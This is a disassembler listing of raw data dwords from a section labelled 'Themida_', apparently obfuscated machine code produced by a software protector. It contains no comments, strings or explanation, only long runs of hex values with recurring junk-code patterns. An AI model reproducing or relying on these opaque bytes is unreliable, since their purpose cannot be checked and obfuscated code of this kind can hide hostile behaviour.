		dd 67039C63h, 257CBE66h, 78BFC18Bh, 0EB48AF34h,	4, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 4181C7AAh, 8BB95A52h, 0F08B66B6h, 0E9FB8B66h, 8, 10865A51h
		dd 183E06EEh, 791858Dh,	95890614h, 61420C5h, 0E8525050h
		dd 7, 86857365h, 0E8820309h, 10h, 6E317B9Ch, 0A4D530A7h
		dd 0E87E2E3Eh, 9B81A15Bh, 310F5F5Fh, 28F0Fh, 61600000h
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 6AD241h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 30C35040h, 66006A6Bh, 8B02EE81h
		dd 0C798858Dh, 6A0617h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 660CCDC3h, 833A03BEh, 6A05C0h
dword_5BA268	dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
					; DATA XREF: Themida_:00590216o
		dd 6C1BCCC3h, 0CA87DC2Eh, 72F78166h, 525050DCh,	38F0Fh
		dd 8B660000h, 66310FF7h, 5A1518BEh, 24048958h, 880Fh, 8D890000h
		dd 61430E1h, 9D89006Ah,	614261Dh, 5E9006Ah, 5F000000h
		dd 0DAA4B1DEh, 1B1995FFh, 8DF50614h, 17A7789Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0EBAA02F8h, 0FEF781E3h, 0FF370A6Dh, 50006AD3h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0ACEDE973h, 2DED85FFh, 11E90614h, 0F6000000h, 0D8FB03Fh
		dd 58F1A3ACh, 737E5B7Fh, 0B5D6F54h, 0E52E9h, 0E800h, 815D0000h
		dd 17C7A2EDh, 8DBD2906h, 81061411h, 142C05BDh, 7D006h
		dd 87860F00h, 8B000001h, 699D8BFEh, 6A06141Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 5508C353h, 7F594DDBh, 0E38192h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 44D2C351h, 9F5A3026h, 6A0D3511h, 1B21B529h, 0DB0B0614h
		dd 0AF850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0C33C5C3h, 0CABA60CBh, 837B3BE6h
		dd 17C5E1BDh, 840F0006h, 2Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F2C35545h,	0D8E4163Ah, 6BE9ABh
		dd 95310000h, 6141005h,	0C5E185C7h, 10617h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 911706C3h, 37E9AFh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 66EC69C3h, 0BD0394BEh
		dd 0E185C72Ah, 617C5h, 66000000h, 295540BEh, 1422E58Dh
		dd 699D8D06h, 6A06141Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0ECC351h, 0EE9h, 0EAC6EC00h
		dd 5984722Eh, 85F4CBE0h, 81FFA1B1h, 0FFFEFF23h,	52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 2B92B315h, 50B8DFBCh, 8C665F51h, 57006ADBh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F87AC333h
		dd 0F04C3F6h, 5484h, 8E900h, 0FEA80000h, 8CC32D70h, 95FFD985h
		dd 6141211h, 92BC71BEh,	0EE95024h, 5000000h, 42612573h
		dd 5E48E020h, 0C82EE016h, 2404897Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0BAC35646h,	89E48BD7h, 1400F185h
		dd 3E5E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0BB0163C3h, 1585200Dh, 0B0A520EDh
		dd 6A70E600h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E40EC356h, 0CE8h, 0B64ED200h
		dd 7F73D7D2h, 0B660770Ch, 0FE8CCh, 498B0000h, 587F5FB7h
		dd 0D5D099CDh, 3CCDCDC4h, 3995012Eh, 5E06140Fh,	8B71E45Fh
		dd 141E19B5h, 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 69C35545h, 6E68B499h,	726ABB18h, 844FBE88h
		dd 6BA5FF0h, 81000000h,	608C00E7h, 0A8B0F57h, 0E9000000h
		dd 5, 8DA72BCh,	0F9C38BA1h, 6A04E8C1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FB29C351h
		dd 9D2C6832h, 19ADCCD2h, 2BE2F766h, 0B58B60D8h,	6140D49h
		dd 0BF669361h, 5050AFC9h, 0F310F52h, 282h, 5AF78B00h, 6A9358h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 9A100C3h, 14315585h,	7CBF6606h, 5B5FFD4h, 0F06142Ch
		dd 683h, 0FDB58900h, 0FF061407h, 14297195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0E8788852h, 0B5296D85h, 6142A85h, 0B58B00B0h, 6140075h
		dd 0EBC6BE66h, 6A70E6h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0DE8130C3h, 755665DDh, 6A71E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 708398C3h, 0DE9D8078h, 0BF0FC9E7h, 0F613CF8h, 20E83h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8EE6F70Bh, 81663A59h, 0F1B69D6h,	6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 95894EC3h, 6BACAh, 0CE90000h, 37000000h, 358DD79Ch
		dd 81403D91h, 8B3D7404h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 96B0301Ch, 0E8C19F60h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 7EB79247h, 1BF07AB7h, 0AFEE8166h, 0E2F76660h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 82C35141h
		dd 29EF095Ah, 0FD2BD91Fh, 9E960h, 0E6150000h, 0D257193Ch
		dd 66D2B64Eh, 615682BFh, 8B66D82Bh, 6A58FCFAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2B8AC350h, 0FC880FD8h, 8B000000h, 142B71BDh,	7B906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0D9C2FAC3h, 1E2319B0h, 0BD89BEA0h, 61409A1h
		dd 6A00C183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 2D91C356h, 8D8999DAh, 6141F91h
		dd 860FD93Bh, 97h, 20C58589h, 9D290614h, 6140CA9h, 8BD98C66h
		dd 143435B5h, 4C1F606h,	75840Fh, 0D1BF0000h, 0FF683F63h
		dd 14121195h, 85895B06h, 614005Dh, 6AC32Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 7068B6C3h
		dd 0DDFF7357h, 0E68113ACh, 146C9134h, 8343Dh, 2C860F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FD8C357h, 88h, 9E900h, 69BF0000h
		dd 8B49E305h, 8B5E57C0h, 6AD88BC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9A9C353h
		dd 0Bh,	34418B22h, 53B26601h, 8B78DF7Ch, 141C01B5h, 2585C706h
		dd 9D061431h, 297B9A01h, 14231D9Dh, 81C08B06h, 142C05BDh
		dd 7D006h, 4E850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 85D5C353h, 17A2E588h
		dd 5A4BF58Dh, 585FFF9h,	6A06142Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BA3C350h
		dd 140E61B5h, 5B5FF06h,	6606142Ch, 2713D781h, 297195FFh
		dd 0BF660614h, 4090CDA5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 6C35242h, 858996F4h, 6141229h, 36DBD83h
		dd 0F000614h, 0E584h, 0FFB70F00h, 2FE5BD83h, 0F000614h
		dd 0D584h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 823E300Ah
		dd 7A7B8F0Eh, 0BE9FCh, 60920000h, 8334FBFBh, 62BCA0ECh
		dd 6D95FF60h, 60061403h, 2E519D8Bh, 0EE80614h, 0B6000000h
		dd 0B579440Bh, 0ADCEAA37h, 7592CD73h, 759D8B29h, 5F06140Ch
		dd 0FC00B61h, 7184h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0AA0CE4BAh, 880B1AB5h
		dd 0F59D89BBh, 2906140Fh, 142D5D9Dh, 0FF8D8D06h, 6A06144Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0DD4C355h, 0AE9h,	0ED34CD00h, 0AE4AB809h
		dd 0B87212C1h, 5, 89E1FFF5h, 140B49B5h,	0BD83F506h, 6140411h
		dd 2E840F00h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 4350C352h, 8388F490h
		dd 142FE5BDh, 840F0006h, 601h, 70CF8166h, 498D8D08h, 0F061431h
		dd 1C7FBBFh, 44B27C84h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0F4C35545h, 76276B84h, 3121BD03h, 1810614h
		dd 1499CFCBh, 2D6DBD01h, 41C70614h, 706B3404h, 53006ACEh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0A6D7AF86h, 8F0Fh, 41810000h, 0D6D71004h, 52006A31h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0E81B585Dh, 8B006A4Eh, 140B9DBDh, 3810F06h, 0F000000h
		dd 858DF6B7h, 6143149h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 2EC35646h, 8D28BA4Eh,	4AD57650h, 3DB58960h
		dd 0E806142Ah, 0Fh, 451232F5h, 98F245A6h, 0E6C3BF61h, 0E8F28DC2h
		dd 11h,	8B604221h, 79F9810Fh, 0CE22BB10h, 0AD5CE6B5h, 615A5B69h
		dd 3EBE6650h, 240489A3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 0A3C35242h, 0F7817139h, 63971237h, 41195FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0CBFFF1C3h, 98DB58Bh, 8D8D0614h, 6143149h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D9C35343h
		dd 44667B1Bh, 520B74EAh, 7E82Ch, 43BE0000h, 0C2C37BA6h
		dd 3880F88h, 66000000h,	0C75EF08Bh, 1, 0F9BD8B00h, 0C7061400h
		dd 441h, 13E80000h, 0CA000000h,	8BF40132h, 5117C6A3h, 5ACEF06h
		dd 0B9769CC8h, 14E9327Fh, 0C1000000h, 0C8219241h, 42EC0518h
		dd 0BC1AEC7Dh, 0DAA80F3Ch, 5F2D2356h, 840FC00Bh, 48h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C8C35545h, 4DE4415Bh
		dd 0BF66AE3Ch, 8D8DB2AAh, 6144DFFh, 0B8F8F98Bh,	5, 6860Fh
		dd 0DF810000h, 595C1777h, 9529E1FFh, 6141FC5h, 31498D8Dh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 60A82DC3h, 8589D38Bh, 6142B21h, 7C01C761h
		dd 6A44AA72h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8195C353h, 99CFCB01h, 68F0F14h
		dd 89000000h, 1415C59Dh, 441C706h, 0CE78753Ch, 189EBF66h
		dd 10044181h, 6631D6D7h, 611CEF81h, 0BF0F006Ah,	49858DF8h
		dd 50061431h, 5F5F5257h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9C9C352h
		dd 0FF89AD7Ch, 14041195h, 498D8D06h, 0F061431h,	68Bh, 49BD8B00h
		dd 0FC06140Fh, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 85B336C3h, 0AA2891C6h
		dd 0BD0B1E59h, 61416BDh, 441C7h, 8B000000h, 0FC00BFBh
		dd 7E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0FF88BACh, 8D8DF1B7h, 6144DFFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 96C35242h, 1681A2B7h
		dd 0AC74BF71h, 5B801AFh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F360C355h
		dd 2D9CF564h, 1FBE6677h, 0F1BF0FD2h, 8DFCE1FFh,	1431498Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 830FD1B0h, 0Dh, 8E9h, 0B4EBE500h, 97597542h
		dd 0A501C7BBh, 8954CA95h, 140A89BDh, 68D0F06h, 8B000000h
		dd 141689BDh, 0CB018106h, 8B1499CFh, 14106DBDh,	441C706h
		dd 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0E2C35242h, 0B52B0D03h,	6140BC9h, 10044181h, 0E931D6D7h
		dd 11h,	1B1F9B37h, 3A779671h, 0EF2378D9h, 10042D63h, 31006A1Ch
		dd 140ED585h, 0F58D2906h, 8D061407h, 14314985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 15EEF1A1h, 95895353h, 61425CDh, 50905E5Eh, 0F5E5652h
		dd 11E931h, 6160000h, 287E6E96h, 4961BA91h, 1024C83Dh
		dd 5A0755FCh, 9E85058h,	5D000000h, 4C35F612h, 0D2D8D54Ch
		dd 6890Fh, 850F0000h, 0
		dd 8B60905Eh, 142E1985h, 0BB666006h, 5F56BE22h,	95FF6161h
		dd 6140411h, 0FE860h, 0AC7E0000h, 8532062Ah, 0F24A046Fh
		dd 86A94557h, 0EC14BF25h, 605F2CD5h, 840Fh, 0BF0F0000h
		dd 8D6161FEh, 1431498Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 82030986h, 67BC13E1h
		dd 0BB7FEDBFh, 0F1B58B16h, 0C7061418h, 1, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 64C94740h, 1A2F4A9Bh, 0F8BEC681h, 41C763CBh,	4, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 8962C745h, 0CD1A7F11h, 0BFE8B66h, 5A840FC0h,	81000000h
		dd 7D12D6C7h, 0FF8D8D62h, 0E906144Dh, 5, 29C7C2D0h, 5B867h
		dd 830F0000h, 6, 0BF5BD89h, 0E1FF0614h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 62C35040h, 0F25E4C3Fh
		dd 0B72F9D03h, 0D4D681F5h, 814CBCB6h, 6E4533CEh, 0E9CA037Dh
		dd 0FFFFF1D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	94C35141h, 8BF4541Ah, 141A6DB5h, 0AD8D2906h, 8B061401h
		dd 0C18529C1h, 0EB061400h, 4, 0B5895000h, 6142E85h, 50006A5Eh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0AA6988h, 0F79F508Ch, 858DE34Ah, 6140791h, 33E5B589h
		dd 66500614h, 8934E3BEh, 0BD092404h, 6142E35h, 0BF0F006Ah
		dd 6A006AF9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 7DA9C350h, 4D7E0D01h, 7E83Eh
		dd 2C540000h, 7C45D0E9h, 858D5F49h, 617D774h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 69C35646h, 158A6860h
		dd 0BF6601BCh, 0C08360FAh, 0FE8B5205h, 5E51505Eh, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5F7AC356h, 7FA31218h, 758589FCh, 89061416h
		dd 141E958Dh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9423C352h, 1317C8B6h
		dd 8B66006Ah, 598509F8h, 0FF061429h, 141B1995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 5613F33Dh, 19BF662Ah, 9DB52B53h, 8D06140Bh, 17A7789Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF0C9122h, 0E1B58BD3h, 0FF06140Dh, 142DED85h
		dd 0F08B6606h, 83CE9h, 0E800h, 815D0000h, 17D77EEDh, 7DB53106h
		dd 81061431h, 142C05BDh, 7D006h, 6C860F00h, 0F000001h
		dd 58Ah, 0BC5FBE00h, 9D8B5F75h,	61420ADh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 47C35545h, 18B5A0FBh
		dd 60515268h, 14E9h, 336B0000h,	2D30EFDAh, 7A183783h, 2E0315FBh
		dd 15CF39A9h, 0C58D03EFh, 6106141Eh, 0AB9FBF5Fh, 0E381375Eh
		dd 100h, 0FDB0BF5h, 7685h, 5E565200h, 0F9BD835Fh, 617D5h
		dd 2A840Fh, 0BF0F0000h,	83E9FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58B46C3h
		dd 61411D1h, 0D5F985C7h, 10617h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58B7EC3h
		dd 6140435h, 30E9h, 0F78A6000h,	40BADF81h, 0C7610950h
		dd 17D5F985h, 6, 0FB10BE00h, 8F0F619Fh,	11h, 0CE9h, 0B372F700h
		dd 54E26B01h, 0CADD65DCh, 0AD9D8D6Fh, 6A061420h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0AC96C352h, 85422482h, 13E9FFh, 4EA10000h, 74BFBC0Bh
		dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0FF2381B4h,	6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 40E0C351h, 66522E0Ah, 0BD8BDB8Ch,	6142F9Dh
		dd 0F04C3F6h, 5184h, 0C800F00h,	0F000000h, 68Ch, 0CD8D8900h
		dd 0FF06140Ch, 14121195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C885156Dh
		dd 0BD8B471Ch, 61434A5h, 28C0F50h, 8B000000h, 240489F7h
		dd 1CB1BD89h, 2BE90614h, 0B0000004h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 5557428Eh
		dd 0ADD477E0h, 0BD8B6ED1h, 6140311h, 8D0F70E6h,	15h, 8E0F60h
		dd 0E9000000h, 8, 91B20CCCh, 40CAC4FCh,	6A71E461h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 918CC355h, 2BA19D89h, 0BF600614h, 5D284F8Dh,	0F78B6660h
		dd 6161C18Ah, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A63FC353h,	407E56FFh
		dd 6880FF8h, 31000000h,	14088DB5h, 6BA06h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 638379C3h, 459362E1h, 0BE9C38Bh, 7B000000h, 3ADAB403h
		dd 0CEB371AEh, 0E8C12114h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0CA262E56h
		dd 0A72E599Ah, 12D99531h, 0F7660614h, 0EB5CBEE2h, 0D82B1AC9h
		dd 890F93F8h, 0
		dd 0B5FF9350h, 6142C05h, 47BFBF66h, 297195FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E81036C3h, 11h, 0D916F994h,	4BEECFACh, 202C3D05h, 23C01AAh
		dd 53605F46h, 34A58D23h, 8B590614h, 0B061F7h, 1121BD89h
		dd 0B58B0614h, 61423F5h, 816670E6h, 2975ABCFh, 140C099Dh
		dd 0E971E406h, 9, 8AE092C6h, 3AAD1F1Dh,	0F613CA7h, 28183h
		dd 21B58B00h, 0F061426h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 956A94C3h, 0B16548ADh
		dd 7E901h, 31B30000h, 9ECFDC36h, 6BA4Ah, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A9F5BBC3h, 14850FD6h, 0E8000000h, 0Dh, 0CD60C30h, 0D0E3AEBCh
		dd 80FE38BFh, 815FF8E3h, 420606CFh, 0C1C38B59h,	6A04E8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 13793AC3h, 0E849B274h, 0BFD4827Ch, 0FB59066h, 6AE2F766h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0DCEBC350h, 8D89A752h, 6141359h, 0B523D82Bh
		dd 61401C9h, 50006A58h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0EBA4F09Dh, 4F14DC55h, 0FD82B88h
		dd 17988h, 2FD68100h, 0B94C9522h, 7, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 72C35141h, 0C183F8EFh, 0CD9D2900h
		dd 60061416h, 16810Fh, 11E90000h, 63000000h, 17CF4B48h
		dd 0F687D890h, 1D5A7E10h, 3C70C6Fh, 0CAE1CE81h,	3B61031Eh
		dd 1B860FD9h, 66000001h, 66102CBFh, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9B0E9C3h
		dd 0CDDE0305h, 0C1F6AB4Fh, 0DF840F04h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0D16BC357h, 0FF5A723Ch, 14121195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 5267489Fh, 6448D630h, 8D29B1E8h, 6143151h, 21DBD8Bh
		dd 6A5B0614h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 2685C355h, 0D1015957h,	0B3A39FAh
		dd 0D8D31h, 0C32B0614h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 74C35646h, 21E98FCCh,	898D8975h, 8B061410h
		dd 140495B5h, 8343D06h,	860F0000h, 22h,	12E9h, 0B1E3C00h
		dd 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h, 0E9E04731h, 0Eh
		dd 1EA5BD89h, 0C08B0614h, 1025BD23h, 0C38B0614h, 6AD88Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 647D8AC3h, 0BEB596CFh, 0C7FAB70Fh, 141C6985h, 0B457DB06h
		dd 0A1B50B13h, 8B061408h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 2DB2D020h
		dd 6820FBDh, 89000000h,	1417D5B5h, 5BD8106h, 0D006142Ch
		dd 0F000007h, 3185h, 71B58B00h,	0FF061408h, 142C0585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0A3494FBBh, 0B2E80F7Ch, 0B5FF8595h, 6142C05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8FC35646h
		dd 2ED7E70Ch, 4DB53395h, 0F061413h, 68Fh, 0ADBD8900h, 0FF061416h
		dd 14297195h, 90F28B06h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0FCC35040h, 5054B0DEh, 2DCCBE66h, 0D830Fh
		dd 8E90000h, 84000000h,	796D2728h, 5E5D56ECh, 2C1D8D89h
		dd 95890614h, 6140985h,	81F98B66h, 0D2D99AC6h, 9B5015Bh
		dd 89061413h, 140771B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0CF417438h, 8166F82Dh
		dd 6A640FCEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0B19FC351h, 0BF30DDBBh, 3CC21D2Bh
		dd 1F799D89h, 0BF660614h, 8B665EDEh, 1DBD8BF1h,	306142Ah
		dd 1404B5BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 168A4BC5h, 68F0Fh, 0BD890000h, 6141EC5h
		dd 1F850Fh, 14E90000h, 9E000000h, 0EC6C017Ah, 448AE17Bh
		dd 4DDE831Eh, 38202A1Eh, 81F10179h, 68CE28C7h, 0BDBD8B18h
		dd 0E9061430h, 0FFFFF7DDh, 18D8953h, 8B06142Bh,	142061B5h
		dd 81665E06h, 3119F0D7h, 1411959Dh, 8BC18B06h, 4EBF2h
		dd 8B000000h, 1425F1BDh, 91858D06h, 6A061407h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 786CC353h, 4D88FDFCh, 90F08B66h, 10E8h, 7E075E00h, 821F0C87h
		dd 5C9614E5h, 82A628FDh, 7E86066h, 9D000000h, 0ECD77548h
		dd 52590234h, 505F615Ah, 8B665250h, 0BF310FF3h,	7CE6742Ch
		dd 8B90585Ah, 1420A1BDh, 31006A06h, 140F49BDh, 8D006A06h
		dd 17E17885h, 5C08306h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0EDC35747h, 89EEC172h, 141B5D85h, 0C800F06h
		dd 0F000000h, 682h, 0BFC68100h,	900BDF73h, 13E8h, 84A11400h
		dd 0E873B2C6h, 42AA63F6h, 289700DBh, 3453160h, 5FF28B66h
		dd 810F9050h, 8, 28E0Fh, 0F18B0000h, 0B58B006Ah, 6140CA9h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0F6F199C3h, 0BD8BBC4Ah, 6141F89h,	2BA1B523h
		dd 95FF0614h, 6141B19h,	12E9h, 3363B500h, 0E5847EB2h, 0FDD74CE6h
		dd 9EB293A1h, 8D0183F7h, 17A7789Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0E9FCC511h
		dd 5, 0C1385824h, 6AD3FF74h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0DC5FC357h,	8933B286h
		dd 141CDDBDh, 0ED85FF06h, 6A06142Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B3DEC356h
		dd 555A46ADh, 805A23F5h, 861E9h, 0E800h, 815D0000h, 17E182EDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 2ACD7B98h, 14D7DBDh, 1403F19Dh, 5BD8106h
		dd 0D006142Ch, 0F000007h, 16D86h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 850DDEC3h
		dd 0CC6A15B0h, 9D8B5F57h, 6140C5Dh, 6830Fh, 800F0000h
		dd 0
		dd 100E381h, 12E90000h,	65000000h, 5FA83A84h, 68E1A926h
		dd 0AC26B8F5h, 317D19F2h, 0FDB0B58h, 0A785h, 0BBBD8300h
		dd 617DFh, 2C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 160424h, 56460000h, 0EC56FDC3h, 0F6DBD8Bh
